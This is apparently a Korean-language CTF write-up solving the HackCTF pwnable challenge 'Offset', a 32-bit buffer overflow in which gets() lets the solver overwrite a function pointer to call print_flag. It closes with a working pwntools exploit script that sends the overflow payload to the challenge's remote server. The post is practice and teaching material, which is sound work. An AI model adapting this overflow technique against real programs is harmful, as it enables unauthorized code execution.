WAR GAME/HackCTF

[HackCTF : Pwnable] Offset 풀이 (32bit, BOF)

jir4vvit 2021. 3. 9. 10:35

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

어떻게 풀까 살짝 고민했지만 어쨌든 바로 잘 풀어냈다.


Analysis

main

gets함수에서 BOF가 일어난다.

select_func 함수가 수상해보이니 살표보자. 

select_func

main함수에서 BOF가 일어나니깐 내가 원하는 함수를 실행시킬 수 있다.

참고로 return address를 바꾸는 느낌이 아니라 위에 선언된 변수 두개를 덮어쓰는 거다. 

 

실행시킬 함수는 print_flag이다.

 

How to exploit

보호기법

payload = dummy(dest) + print_flag함수주소(*func)

 

Let's exploit

from pwn import *

#p = process('./offset')
p = remote('ctf.j0n9hyun.xyz', 3007)
e = ELF('./offset')

payload = ''
payload += 'A' * (0x2A-0xC)
payload += p32(0x6D8)

p.sendline(payload)

p.interactive()